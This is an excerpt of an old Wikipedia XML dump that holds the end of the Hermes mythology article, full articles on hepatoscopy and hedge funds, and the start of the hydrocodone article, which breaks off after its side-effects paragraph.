Hermes as an inventor of fire is a parallel of the [[Titan (mythology)|Titan]], [[Prometheus]]. In addition to the [[syrinx]] and the [[lyre]], Hermes invented many types of racing and the sport of [[boxing]].  In the 6th century the traditional bearded phallic Hermes was reimagined as an athletic youth (''illustration, top right''); statues of the new type of Hermés stood at stadia and [[gymnasium (ancient Greece)|gymnasium]]s throughout Greece.

=== [[Herma|Hermai]] ===
In very ancient Greece, Hermés was a phallic god of boundaries.  His name in the form ''herma'' referred to a wayside marker pile of stones; each traveller added a stone to the pile. In the 6th century, [[Hipparchus (tyrant)|Hipparchos]], the son of [[Pisistratus]] replaced the [[cairn]]s that marked the midway point between each village ''[[deme]]'' at the central ''[[agora]]'' of Athens with  a square or rectangular pillar of stone or bronze topped by a bust of Hermés usually with a [[beard]]; an erect [[phallus]] rose from the base. In the more primitive &quot;Cyllenian&quot; herms, the standing stone or wooden pillar was simply a phallus.  The ''hermai'' were used to mark roads and boundaries.  In Athens, they were placed outside houses for good luck.  &quot;That a monument of this kind could be transformed into an [[Twelve Olympians|Olympian]] god is astounding,&quot; [[Walter Burkert]] remarked (Burkert 1985).

In [[415 BCE]], when the Athenian fleet was about to set sail for [[Syracuse, Italy|Syracuse]] during the [[Peloponnesian War]], all of the Athenian hermai were vandalized.  The Athenians at the time believed it was the work of saboteurs, either from Syracuse or the anti-war faction within Athens itself. [[Socrates]]' pupil [[Alcibiades]] was suspected to have been involved, and Socrates indirectly paid for the impiety with his life.

=== Hermes' [[iconography]] ===
Hermés was usually portrayed wearing a broad-brimmed traveller's hat or a winged cap (petasos or more commonly [[petasus]]), wearing winged sandals ([[talaria]]) and carrying his Near Eastern herald's staff, entwined by copulating [[Serpent (symbolism)|serpents]], called the ''kerykeion'', more familiar in its Latinized form, the ''[[caduceus]]''. He wore the garments of a traveler, worker or shepherd. He was represented by purses, roosters (''illustration, left/above'') and tortoises.

== Birth ==
Hermes was born on [[Mount Kyllini|Mount Cyllene]] in [[Arcadia]] to [[Maia]]. As the story is told in the [[Homeric Hymns|Homeric Hymn]], the ''Hymn to Hermes,'' Maia was a [[nymph]], but Greeks generally applied the name to a midwife or a wise and gentle old woman, so the nymph appears to have been an ancient one, one of the [[Pleiades (mythology)|Pleiades]] taking refuge in a cave of Arcadia.

The god was precocious: on the day of his birth, by midday he had invented the lyre, using the shell of a tortoise, and by nightfall he had rustled the immortal cattle of Apollo. For the first Olympian sacrifice, the taboos surrounding the sacred [[wiktionary:kine|kine]] of Apollo had to be transgressed, and the trickster god of boundaries was the one to do it.

His [[epithet]] ''Argeiphontes'', or Argus-slayer, recalls his slaying of the many-eyed giant [[Argus]] who was watching over the [[cattle|heifer]]-nymph [[Io (mythology)|Io]] in the sanctuary of Lady [[Hera]] herself in Argos. Putting Argos to sleep, Hermes used a spell to permanently close all of Argus's eyes. Argus's eyes were then put on the peacock.


== Appellations ==

* ''Argeiphontes'', Argus-slayer
* ''Psychopompos'', conveyor of souls
* ''Enodios'', on the road
* ''Eriounios'', luck bringer
* ''Dolios'', the schemer
* ''Diaktoros'' or ''Angelos'', the messenger
* ''Epimelius'', keeper of flocks
* ''Polygius''
* ''Charidotes'', giver of charm
* ''Criophorus'', ram-bearer
* ''Enagonios'', of the (Olympic) games
* ''Cyllenius'', born on [[Mount Cyllene]]
* ''Acacesius'', of [[Acacus]]

== Herm&amp;#275;s' offspring ==

=== [[Abderus]] ===
[[Abderus]] was a son of Hermes who was devoured by the [[Mares of Diomedes]].  He had gone to the Mares with his friend, [[Heracles]].

=== [[Autolycus]] ===
[[Autolycus]], the Prince of Thieves, was a son of Hermes and grandfather of [[Odysseus]].

=== [[Hermaphroditus]] ===
[[Hermaphroditus]] was the third son of Herm&amp;#275;s, with [[Aphrodite]].  He was changed into a [[hermaphrodite]] by the gods, responding to the pleas of [[Salmacis]], whose love Hermaphroditus spurned.

=== [[Priapus]] ===
In Priapus, Hermes' phallic origins survived.

== Other stories ==

=== [[Herse]]/[[Aglaulus]]/[[Pandrosus]] ===
When Hermés loved [[Herse]], a jealous [[Aglaulus]] stood between them and refused to move. Hermés changed her to stone. [[Cephalus]] was the son of Hermes and [[Herse]].  Hermés also had a son, [[Ceryx]], with Herse's other sister, [[Pandrosus]].  With [[Aglaulus]], Hermés was the father of [[Eumolpus]].

=== [[Argus]]/[[Io (mythology)|Io]] ===

[[Zeus]] loved the [[Argos|Argive]] princess [[Io (mythology)|Io]] and changed her into a cow to protect her from Hera. Hera suspected his deception and asked for the cow as a present. Zeus was unable to refuse and she placed the watchman [[Argus]] to guard the cow. Hermés, at the request of Zeus, lulled Argus to sleep and rescued Io but Hera sent a [[wiktionary:gadfly|gadfly]] to sting her as she wandered the earth in cow form. Zeus eventually changed her back to human form, and she became&amp;mdash;through [[Epaphus]], her son with Zeus&amp;mdash;the ancestress of [[Heracles]].

=== Other roles ===

Hermés saved [[Odysseus]] from both [[Calypso (mythology)|Calypso]] and [[Circe]], by convincing the first to let Odysseus go and then protecting him from the latter by bestowing upon him an herb that would protect him from Circe's spell.  In addition, Hermés brought [[Eurydice]] back to Hades after [[Orpheus]] looked back towards his wife for a second time.  He also changed the [[Minyades]] into bats.  He taught the [[Thriae]]  the arts of fortune-telling and divination.

Hermes aided [[Perseus|Persus]] in killing the gorgon [[Medusa]] by giving him [[Zeus]]' [[sickle]] and winged boots.  He gave him Hades' helmet of invisbility that he borrowed, and told him to use it so that her immortal sisters cannot see him when he gets away.  [[Athena]] helped him as well by lending him her polished shield.

King [[Atreus]] of [[Mycenae]] retook the throne from his brother, [[Thyestes]] using advice he received from the wise trickster Hermes. Thyestes agreed to give the kingdom back when the sun moved backwards in the sky, a feat that [[Zeus]] accomplished. Atreus retook the throne and banished Thyestes.

 

Consorts/Children
# [[Aphrodite]]
## [[Eunomia]]
## [[Hermaphroditus]]
## [[Peitho]]
## [[Rhodos]]
## [[Tyche]]
# [[Aglaulus]]
## [[Eumolpus]]
# [[Herse]]
## [[Cephalus]]
# [[Pandrosus]]
## [[Ceryx]]
# [[Dryope]]
## [[Pan (mythology)|Pan]]
# Unknown mother
## [[Abderus]]
## [[Aethalides]]
## [[Echion (Argonaut)|Echion]]
## [[Myrtilus]]
# Unknown [[Sicily|Sicilian]] [[nymph]]
## [[Daphnis]]
# [[Persephone]]
#[[Krokus]]

==&quot;Hermes&quot; in Islamic tradition==
Antoine Faivre, in ''The Eternal Hermes'' has pointed out that Hermes has a place in the [[Islam|Islamic]] tradition, though his name does not appear in the [[Qur'an]]. [[Hagiographer]]s and chroniclers of the first centuries of the Islamic [[Hijra (Islam)|Hegira]] quickly identified Hermes with [[Idris (prophet)|Idris]], the ''nabi'' of [[Sura|surahs]] 19.57; 21.85,  whom the [[Arabs]] also identify with [[Enoch]] (cf. Genesis 5.18-24). Indris/Hermes is called &quot;Thrice Wise,&quot;( [[Hermes Trismegistus]]) because he was threefold: the first of the name, comparable to [[Thoth]], was a &quot;civilizing hero,&quot; an initiator into the mysteries of the divine science and wisdom that animate the world; he carved the principles of this sacred science in [[Egyptian hieroglyph|hieroglyphs]].  The second Hermes, in [[Babylon]], was the initiator of [[Pythagoras]]. The third Hermes was the first teacher of [[Alchemy]]. &quot;A faceless prophet,&quot; writes the Islamicist Piere Lory &quot;Hermes possesses no concrete or salient characteristics, differing in this regard from most of the major figures of the Bible and the Quran.&quot; '' (Faivre 1995 pp.19-20)

==External links==
*[http://www.theoi.com/Cult/HermesCult.html Cult of Hermes]
*[http://www.csun.edu/~hcfll004/mycen.html Gods found in Mycenaean Greece]: a table drawn up from Michael Ventris and John Chadwick, ''Documents in Mycenaean Greek'' second edition(Cambridge 1973)

==References==
*[[Walter Burkert]], 1985. ''Greek Religion,'' 
*Antoine Faivre, 1995.''The Eternal Hermes : From Greek God to Alchemical Magus'' translated by Josceleyn Godwin (Phanes) ISBN 0-933999-52-6. 
*Lewis Hyde, Trickster Makes This World: Mischief, Myth, and Art (1998)

{{commons|Hermes (mythology)}}

[[Category:Greek gods]][[Category:Commerce gods]][[Category:Trickster gods]]

[[bg:Хермес]]
[[ca:Hermes]]
[[da:Hermes]]
[[de:Hermes (Mythologie)]]
[[et:Hermes]]
[[el:Ερμής (μυθολογία)]]
[[es:Hermes]]
[[eo:Hermeso]]
[[fr:Hermès]]
[[ko:헤르메스]]
[[it:Ermes]]
[[he:הרמס]]
[[hu:Hermész]]
[[nl:Hermes (mythologie)]]
[[ja:ヘルメス]]
[[no:Hermes]]
[[pl:Hermes]]
[[pt:Hermes]]
[[ru:Гермес]]
[[sr:Хермес]]
[[sv:Hermes]]
[[tr:Hermes]]
[[uk:Гермес]]
[[zh:赫尔墨斯]]</text>
    </revision>
  </page>
  <page>
    <title>Hepatoscopy</title>
    <id>14411</id>
    <revision>
      <id>22069198</id>
      <timestamp>2005-08-29T02:13:47Z</timestamp>
      <contributor>
        <username>GeeJo</username>
        <id>296804</id>
      </contributor>
      <text xml:space="preserve">'''Hepatoscopy''' is a form of [[divination]] using the internal organs of sacrificed animals, specifically the [[liver]]. It is unrelated to [[endoscopy]] of this organ.

The [[Babylonians]] were famous for hepatoscopy. The liver was considered the source of the blood and hence the base of life itself, from this belief the [[Mesopotamia]]ns deemed the liver of special sheep the means to discover the will of the gods. The priest, called a ''bara,'' was specially trained to interpret the 'signs' of the liver. The liver was divided into sections with each section representing a particular deity.

The [[Etruscan civilization|Etruscans]] were also well known for the practice of divining by the entrails of [[sheep]]; see ''[[haruspex]]''.

{{occult-stub}}

[[Category:Roman mythology]]
[[Category:Divination]]
[[Category:Etruscans]]</text>
    </revision>
  </page>
  <page>
    <title>Hedge fund</title>
    <id>14412</id>
    <revision>
      <id>42140314</id>
      <timestamp>2006-03-04T02:12:12Z</timestamp>
      <contributor>
        <username>Christofurio</username>
        <id>49935</id>
      </contributor>
      <minor />
      <comment>/* Strategies */</comment>
      <text xml:space="preserve">The term &quot;'''hedge fund'''&quot; dates back to the first such fund founded by [[Alfred Winslow Jones]] in [[1949]].  Jones' innovation was to [[Short selling|sell short]] some [[stock]]s while buying others, thus some of the [[market risk]] was [[hedging | hedged]].  While most of today's [[hedge (finance)|hedge]] funds still trade stocks both long and short, many do not trade stocks at all and the term ''hedge fund'' has come to mean a relatively unregulated investment fund, often a [[partnership]] rather than a [[corporation]] in form, and characterized by unconventional strategies (i.e., strategies other than investing long only in [[bonds]], [[equities]] or [[money market]]s).

For U.S.-based managers and investors, hedge funds are simply structured as limited partnerships. The hedge fund manager is the general partner and the investors are the limited partners. The funds are pooled together in the partnership and the general partner (hedge fund manager) makes all the investment decisions based on the strategy the hedge fund manager has outlined in their offering documents. In return for managing these funds, the hedge fund manager will receive a management fee and an incentive fee.

Research shows that incentive fees correlate to higher returns in mutual funds [http://ideas.repec.org/a/bla/jfinan/v58y2003i2p779-804.html (Elton, Gruber, and Blake, 2003)], perhaps suggesting the attractiveness of hedge funds, where incentive fees can be much higher and restrictions on trading are less.

The fee structures of these limited partnerships (U.S. based hedge funds) vary but typically the management fee ranges from 1-2% of the [[asset]]s under management and an additional fee called an &quot;incentive fee&quot; will be charged on the profits of the fund at a specified date. The incentive fee is usually 20% of the profits of the fund and can include &quot;hurdles&quot; or other items.

[[Offshore investment|Offshore]] hedge funds are usually domiciled in a [[tax haven]] and are designed for U.S.-based hedge fund managers to manage the assets of foreign investors and [[Tax exemption|tax exempt]] U.S. investors. In this structure, the manager will receive a management and incentive fee and will also be invested in the fund as an investment manager.

The typical hedge fund asset management firm includes both the domestic U.S. hedge fund and the offshore hedge fund. This allows hedge fund managers to attract capital from all over the world. Both funds will trade '[[Pari passu]]' based on the strategy outlined in the offering documents.

==Flows and levels==
The number of hedge funds increased from less than 1,000 in 1990 to over 8,000 in 2004. During this period assets under management grew from $25bn to $934bn. In 2004 alone, hedge funds assets increased by $139bn, $75bn from net inflows and $64bn from positive performance. It is estimated that funds increased to over $1.1 trillion by the end of 2005. Recent years have been characterised by increased investment from institutional investors such as pension funds, universities, endowments and charitable organisations. Because hedge funds typically use leverage, the positions that they can take in the financial markets are larger than their assets under management. 

The US was by far the leading source of hedge fund investments accounting for 69% of the total stock of hedge fund assets under management at the end of 2004. Europe was the source of 23% of assets and Asia 5%. New York is the world’s leading location for hedge fund managers with about twice as many hedge fund managers as the next largest centre, London. 
Other important centres in the US for hedge fund managers include California and Connecticut.
London is Europe’s leading centre for the management of hedge funds. At the end of 2004, nearly three-quarters of European-based hedge funds’ assets totalling $256bn were managed out of the UK, the vast majority from London. Japan was the most important centre for Asia-Pacific hedge fund managers. Managers located there accounted for nearly a quarter of the $47.4bn in Asia-Pacific hedge funds’ assets in June 2004. [http://www.ifsl.org.uk/uploads/CBS_Hedge_Funds_2005.pdf]

== Administration of hedge fund assets ==
In mid-2004, 39 firms provided either on-shore or offshore &quot;Administration Services&quot; to hedge funds that were managing $1.1 trillion, up from 30 firms managing $745bn a year before. &quot;Taking into account [[fund of funds]] `double-counting,'&quot; the review said that &quot;average assets under administration for a hedge fund administrator is US$29bn&quot;. &quot;The total number of funds has broken the 10,000 barrier, though the grand total of 11,362 does include both [[master-feeder]]s and [[separate feeder]] and [[sub-funds]].&quot; The 39 Administrators tracked for the mid-2004 number were:
*[[Citco]] Fund Services
*[[Fortis]]
*[[Bank of Bermuda]] GFS
*IFS (a [[State Street Corporation|State Street]] company)
*[http://www.bisys.com/products/fundServices.asp BISYS Hedge Fund Services]
*[[GlobeOp Financial Services]]
*[[UBS AG|UBS]] Fund Services
*[[Investors Bank &amp; Trust]]
*[[SEI Investments]] ({{ndaq|SEIC}})
*Olympia Capital
*[[Bank of New York]]
*RK Consulting
*PFPC
*Euro-VL
*Bank of Butterfield Fund Services
*[http://www.ssctech.com/fundservices/ SS&amp;C Fund Services]
*[[Crédit Agricole]] Investor Services
*DPM
*[[Dundee Leeds]]
*[[Admiral Administration]]
*[[DAIWA Securities]] Trust &amp; Banking
*RBC
*[[Trident Trust]]
*[[Citigroup]] Global Transaction Services
*[[Cayman National Trust]]
*[[Custom House Group]]
*Baring Fund Administration Services (IFM)Now owned by Northern Trust
*Caledonian Fund Services
*[[Kredietbank SA]]
*Dexia BIL Fund Services
*[[Nottingham Company]]
*[[Tranaut Fund Administration]] (Ireland)Now owned by JPMorgan
*[http://sgfallc.com/ Spectrum Global Fund Administration]
*[[Bank of Ireland]] Securities Services
*[[Banque Privée Edmond de Rothschild]]
*ATC Fund Services
*[[Meridian]]
*Close Fund Services
*[[AIB Worthytrust]] Fund Administration

==Strategies==
Hedge funds use alternative strategies such as [[Short selling|selling short]], [[arbitrage]], trading [[options]] or [[Derivative_(finance)|derivatives]], using [[leverage]], investing in seemingly undervalued securities, trading commodity and FX contracts, and attempting to take advantage of the spread between current market price and the ultimate purchase price in situations such as mergers.  When strategies become extremely complex they may acquire potential and unanticipated risk of catastrophic losses as in the case of [[Long-Term Capital Management]].

*[[Arbitrage]]
**[[Convertible arbitrage]]
**[[Fixed income arbitrage]]
**[[Risk arbitrage]]
**[[Statistical arbitrage]] ('StatArb')
*[[ownership equity|Equity (finance)]]
**[[Equity market neutral]]
**[[Long / short equity]]
*Event driven (finance)
**[[Distressed securities]]
**[[Regulation D]]
**[[Event driven multi-strategy]]
*Other
**[[Emerging markets]]
**[[Global macro]]

===Risk arbitrage===
{{Main|Risk arbitrage}}
One very common hedge strategy is to buy shares of a company that is in the process of a [[mergers and acquisitions|merger and acquisition]]. The company's stock has an announced price that it will be worth on the date of the merger, so if the stock is under that value prior to the merger, it is a safe investment to purchase the stock and wait. This strategy can be risky, as there is a possibility that the merger will not go through and the stock will be left at its current value.  Frequently, the trader will also short sell the stock of the acquiring company in addition to buying the stock of the target.

Most of the early hedge funds did just this. They became very popular as a way of seeing gains better than the investment grade bond market, while still having low risk.

However the side effect of this popularity was to dramatically increase the interest in all of the non-standard investment strategies, and soon other funds were being set up with new strategies aimed primarily at high growth. Although there is no hedging in these cases, the term is still used for these funds as well.

==Regulation==
Investment companies registered with the [[U.S. Securities and Exchange Commission]] (SEC) are subject to strict limitations on the short-selling and use of leverage that are essential to many hedge fund strategies.  For this and other reasons, hedge funds elect to operate as unregistered investment companies.  As a result, interests in a hedge fund cannot be offered or advertised to the general public, and are limited to individuals who are both &quot;accredited investors&quot; (who have total incomes of over US$200,000 per year or a net worth of over US$1,000,000) and &quot;qualified purchasers&quot; (who own at least US$5,000,000 in qualified investments).  For the funds, the trade off is that they have fewer investors to sell to, but they have few government imposed restrictions on their investment strategies.  The presumption is that hedge funds are pursuing more risky strategies, which may or may not be true depending on the fund, and that the ability to invest in these funds should be restricted to
wealthier investors who are presumed to be more sophisticated and who
have the financial reserves to absorb a possible loss.

===Recent regulatory developments US ===

Unlike mutual funds, however, hedge funds are not required to register with the SEC. This means that hedge funds are subject to very few regulatory controls. Because of this lack of regulatory oversight, hedge funds historically have generally been available solely to accredited investors and large institutions. Most hedge funds also have voluntarily restricted investment to wealthy investors through high investment minimums (e.g., $1 million).

Historically, hedge funds have not been subject to regular SEC oversight.  
In October [[2004]], the SEC approved a rule change, finalized in December, [http://sec.gov/rules/final/ia-2333.htm final rule and rule amendments], implemented on February 1, [[2006]], that requires most hedge fund advisers to register with the SEC as investment advisers under the Investment Advisers Act. The requirement will apply to hedge funds managing $25 million dollars or more. The SEC is adopting a &quot;risk-based approach&quot; to monitoring hedge funds as part of its evolving regulatory regimen for the burgeoning industry, according to the SEC.

The SEC has neither the staff nor expertise to comprehensively monitor the estimated 8,000 U.S. and international hedge funds.

One of the commissioners, [[Roel Campos]], has said that the SEC is forming internal teams that will identify and evaluate irregular trading patterns or other phenomena that may threaten individual investors, the stability of the industry or the financial world.

&quot;It's pretty clear that we will not be knocking on (hedge fund) doors very often,&quot; Campos told several hundred hedge fund managers, industry lawyers and others. And even if it did, &quot;the SEC will never have the degree of knowledge or background that you do.&quot;

=== Recent regulatory developments UK === 

In recent years, HM Revenue and Customs, formerly Inland Revenue, has adopted interpretations of the tax laws that seem likely to keep many funds offshore.

In [[June 2005]], The United Kingdom's [[Financial Services Authority]] published two discussion papers about hedge funds -- one concerning systemic risks, the other on consumer protection.

Due to the same concerns, later in the year the FSA created an internal team to supervise the management of 25 particularly high-impact hedge funds doing business within the UK. 

Another regulatory body, the Takeover Panel, is reportedly concerned about the use by hedge funds of instruments known as [[contracts for difference]], which it worries may have opaque effects on mergers and acquisitions. 

More to come.

==Funds of funds==
A special type of investment vehicle called a ''fund of funds'', a fund which invests in other hedge funds rather than trading assets itself.  Because some U.S. funds of funds may be specially registered with the SEC, they can accept investments from individuals who are not accredited investors or qualified purchasers, and often have lower investment minimums (sometimes as low as $25,000)..

Funds of funds carry an additional layer of fees, typically a 1% management fee and, optionally, a 10% incentive (performance) fee, in return for their due diligence on and selection of hedge fund managers. Besides lower mininum investment hurdle and diversification, some funds of funds also add value (or &quot;justifying&quot; the extra layer of performance fee) by dynamic allocation to different hedge funds strategies, such as Long/Short Equities, Event Driven, Disstressed Debt, Convertible Arbitrage, Statistical Arbitrage, Macro and Multi-Strategies.

==Comparison to Private Equity funds==
Hedge funds are similar to private equity funds, such as [[venture capital]] funds, in many respects. Both are lightly regulated, private pools of capital that invest in securities and compensate their managers with a share of the fund's profits. Most hedge funds invest in very liquid assets, and permit investors to enter or leave the fund easily. Private equity funds invest primarily in very illiquid assets, such as early-stage companies and consequentially, investors are &quot;locked in&quot; for the entire term of the fund.

Hedge funds are regular investors in private equity companies' acquisition funds.

Between 2004 and February 2006, some U.S. hedge funds adopted 25 month lock-up rules expressly to exempt themselves from the SEC's new registration requirements. They now fall under the registration exemption drafted to exempt private equity funds.

==Comparison to Mutual funds==
Like hedge funds, [[mutual fund]]s are pools of investment capital. However, mutual funds are highly regulated by the SEC. One consequence of this regulation is that mutual funds cannot compensate managers based on the performance of the fund, which many believe dilutes the incentive of the fund managers to perform.

==Hedge fund privacy ==
As private, lightly regulated partnerships, hedge funds do not have to disclose their activities to third parties. This is in contrast to a fully regulated [[mutual fund]] (or unit trust) which will typically have to meet regulatory requirements for disclosure.  The hedge funds are typically domiciled in an  offshore jurisdiction, e.g. [[Bermuda]], [[Cayman Islands]], [[Virgin Islands]], where regulation of investment funds permits wider powers of investment. Hedge funds have to file accounts and conduct their business in compliance with the less onerous requirements of these offshore centres. Investors in hedge funds enjoy a higher level of disclosure than investors in mutual funds including detailed discussions of risks assumed, significant positions, and investors usually have direct access to the investment advisors of the funds. This high level of disclosure is not available to non-investors, hence the notion of privacy attached to hedge funds.

A byproduct of this privacy and the lack of regulation is that there are no official hedge fund statistics.  An industry consulting group, HFR (hfr.com), reported at the end of the second quarter [[2003]] there are 5660 hedge funds world wide managing $665 billion.  To put that in perspective, at the same time the US mutual fund sector held assets of $7.818 trillion (according to the Investment Company Institute).  

The combination of privacy and rich investors means that hedge funds are a target for criticism whenever markets move against some group's interests.  For example, hedge funds were widely blamed for the speculative run-up in the bond market that preceded the global bond crisis of [[1994]], although the major players in the bond spree were actually large commercial and [[investment bank]]s.

== Hedge funds ==
Large hedge funds

* [[Andor Capital Management]] ([https://www.andorcap.com/ website])
* [[Angelo, Gordon &amp; Co.]] ([http://www.angelogordon.com/ website])
* [[Bridgewater Associates]] ([http://www.bwater.com/ website])
* [[Citadel Investment Group]] ([http://www.citadelgroup.com/ website])
* [[Clinton Group]] ([http://www.Clinton.com/ website])
* [[D.E. Shaw|D. E. Shaw]] ([http://www.deshaw.com/ website])
* [[Farallon]] ([http://www.faralloncapital.com/ website])
* [[Pequot Capital Management]] ([https://www.pequotcap.com/ website])
* [[Perry Capital]]
* [[Renaissance Technologies]]
* [[SAC Capital Advisors]]
* [[Soros Fund Management]]
* [[Tudor Investment Corporation]] ([http://www.tudorfunds.com/ website])

In Asia

* [[Vision Investment Management]] ([http://www.visioninvestment.com/ website])

== Top earners ==

[[Institutional Investor]] magazine annually ranks top-earning hedge fund managers. Earnings from a hedge fund is simply 100% of the capital gains on the managers own equity stake in the fund and 20% to 50% (depending on policy) of the gains on the other investor's capital.

The 2004 top earner was [[Edward Lampert]] of [[ESL Investments]] Inc. who earned $1.02 billion during the year ([http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=109&amp;STORY=/www/story/05-27-2005/0003695485&amp;EDATE= PR Newswire link]).

== Hedge fund managers ==
*[[Alfred Winslow Jones]]
*[[Bill Fleckenstein]]
*[[David Gerstenhaber]]
*[[David Shaw (CEO)|David Shaw]]
*[[David Tepper]]
*[[Doug Kass]]
*[[Edward Lampert]]
*[[Edward O. Thorp]]
*[[Eric Mindich]]
*[[Estlander &amp; Rönnlund]]
*[[Stephen Peak]]
*[[George Soros]]
*[[Jim Cramer]]
*[[James Harris Simons|Jim Simons]]
*[[Joel Greenblatt]]
*[[Julian Robertson]]
*[[Kenneth C. Griffin]]
*[[Michael Steinhardt]]
*[[Seth Tobias]]
*[[Stanley Druckenmiller]]
*[[Steven A. Cohen]]

== See also ==

*[[Derivatives market]]
*[[Venture capital]]

==Further reading==
* Lhabitant, François-Serge, ''Hedge Funds: Quantitative Insights'', John Wiley &amp; Sons, 2004.

&lt;!-- Wikipedia is not a link farm. Before adding a link, read [[Wikipedia:External links]] to see if it complies]] --&gt;
==External links==

===General===
*[http://www.library.hbs.edu/guides/hedgefunds/ Harvard Business School's Baker Library Guide to Hedge Funds]
*[http://mutualfunds.about.com/cs/hedgefunds/l/blhedgefunds.htm Hedge Funds vs. Mutual Funds]
*[http://www.hedgefundsreview.com Hedge Funds Review - Technical features and news on investing in and managing hedge fund products]
*[http://www.guardian.co.uk/weekend/story/0,3605,1575639,00.html ''The long and short''] - ''[[The Guardian]]'', [[September 24]] [[2005]] - This article explains hedge funds in layman's terms, why they are of interest to the general reader and contains interviews with fund managers.
*[http://www.global-derivatives.com/download/files.php?func=download&amp;id=87 Hedge Fund Strategies (global-derivatives.com)]
*[http://www.hedgefundtips.org Hedge Fund Tips] - Nonprofit consumer guide
*[http://moneyscience.org/tiki/tiki-view_blog.php?blogId=4 Hedge Fund News, Jobs and Links at MoneyScience.org]
*[http://moneyscience.org/tiki/tiki-read_article.php?articleId=79 Hedge Fund Blogs, Books and Resources at MoneyScience.org]
*[http://hedgefund.net Hedge Fund Data, News, &amp; Averages at HedgeFund.net]

===Trade associations===
*[http://www.aima.org/ Alternative Investment Management Association (AIMA)]
*[http://www.thehfa.org/Aboutus.cfm the Hedge Fund Association (HFA)]
*[http://www.mfainfo.org/ Managed Funds Association (MFA)]

===Indices===
*[http://www.hedgefundresearch.com/ HFRI Monthly Performance Indices]
*[http://www.hedgeindex.com/ CSFB/Tremont Hedge Fund Indices - Home Page]
*[http://www.djhedgefundindexes.com/ DOW Jones Hedge Fund Indexes]
*[http://www2.standardandpoors.com/servlet/Satellite?pagename=sp/Page/IndicesIndexPg&amp;r=1&amp;l=EN&amp;b=4&amp;s=132&amp;xcd=HEDGE S&amp;P Hedge Fund Indices]
*[http://hedgefund.net/marketing_index.cfm?template=realtime.html&amp;val=rtime/ HedgeFund.net HFN Averages]

===Hedge Fund Research===
*[http://www.hedgefundresearch.com/ HFR Database and HFR Industry Reports]
*[http://icf.som.yale.edu/research/hedgefund.shtml Hedge Fund Research Initiative] of the International Center for Finance at the [[Yale School of Management]]
*[http://www.hedgefund.net/HFN_Averages_January_06_Report.pdf/ HFN Averages January Performance Report]
*[http://www.hedgefund.net/Strategy_Focus_Report_022806.pdf/ HedgeFund.net Strategy Focus Report: HFN Small/Micro Cap Average]

{{finance-footer}}

[[category:Funds]]

[[de:Hedge-Fonds]]
[[fr:Gestion alternative]]
[[ja:&amp;#12504;&amp;#12483;&amp;#12472;&amp;#12501;&amp;#12449;&amp;#12531;&amp;#12489;]]
[[zh:对冲基金]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrocodone</title>
    <id>14413</id>
    <revision>
      <id>42147808</id>
      <timestamp>2006-03-04T03:21:19Z</timestamp>
      <contributor>
        <username>Shanel</username>
        <id>301280</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.108.220.245|64.108.220.245]] ([[User talk:64.108.220.245|talk]]) to last version by Cjewell</comment>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;250px&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Hydrocodone.png|Hydrocodone chemical structure]]&lt;br/&gt;
''Hydrocodone''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | ''4,5a-Epoxy-3-methoxy-17-methylmorphinan-6-one tartrate (1:1) hydrate (2:5)''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 125-29-1
| '''[[ATC code]]'''   &lt;br/&gt; R05DA03
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | C&lt;sub&gt;18&lt;/sub&gt;H&lt;sub&gt;21&lt;/sub&gt;NO&lt;sub&gt;3&lt;/sub&gt;
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 299.368
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | Hepatic
|-
| bgcolor=&quot;#eeeeee&quot; | [[Elimination half-life]]
| bgcolor=&quot;#ddeeff&quot; | 4–8 hours
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | Renal
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]] 
| bgcolor=&quot;#ddeeff&quot; | Category C (USA)
|-
| bgcolor=&quot;#eeeeee&quot; | [[Regulation of therapeutic goods|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | [[Misuse of Drugs Act 1971|Class A]] (UK), [[Controlled Substances Act|Schedule II/III]] (USA) 
|-
| bgcolor=&quot;#eeeeee&quot; | Routes of administration
| bgcolor=&quot;#ddeeff&quot; | Oral
|-
|}
'''Hydrocodone''' or '''dihydrocodeinone''' (marketed as '''Vicodin''', '''Anexsia''', '''Dicodid''', '''Hycodan''', '''Hycomine''', '''Lorcet''', '''Lortab''', '''Norco''', '''Tussionex''', '''Vicoprofen''') is an [[opioid]] derived from either of the naturally occurring [[opiates]] [[codeine]] or [[thebaine]]. Hydrocodone is an orally active [[narcotic]] [[analgesic]] and [[antitussive]]. The typical therapeutic dose of 5 to 10 [[Milligram|mg]] is [[Pharmacology|pharmacologically]] equivalent to 30 to 60 mg of oral [[codeine]].{{ref|tarascon}} Sales and production of this [[medication|drug]] have increased significantly in recent years, as have diversion and illicit use. 
Hydrocodone is commonly available in tablet, capsule and syrup form. 

As a [[narcotic]], hydrocodone relieves [[pain]] by binding to [[Opioid receptor|opioid receptors]] in the [[brain]] and [[spinal cord]].  It may be taken with or without food, but should never be combined with alcohol.  It may interact with [[monoamine oxidase inhibitors]], as well as other drugs that cause drowsiness.  It is in [[Food and Drug Administration | FDA]] [[pregnancy category]] C:  its effect on an unborn [[embryo]] or [[fetus]] is not clearly known and pregnant women should consult their physicians before taking it.  Common [[Adverse drug reaction|side effects]] include [[dizziness]], [[lightheadedness]], [[nausea]], [[sedative | drowsiness]], [[euphoria]], [[vomit | vomiting]], and [[constipation]].  Some less common side effects are [[allergy | allergic reaction]], [[blood]] disorders, changes in mood, mental fogginess, [[anxiety]], [[lethargy]], difficulty [[urination | urinating]], [[spasm]] of the [[ureter]], irregular or depressed [[Respiration (physiology)|respiration]] and [[rash]].

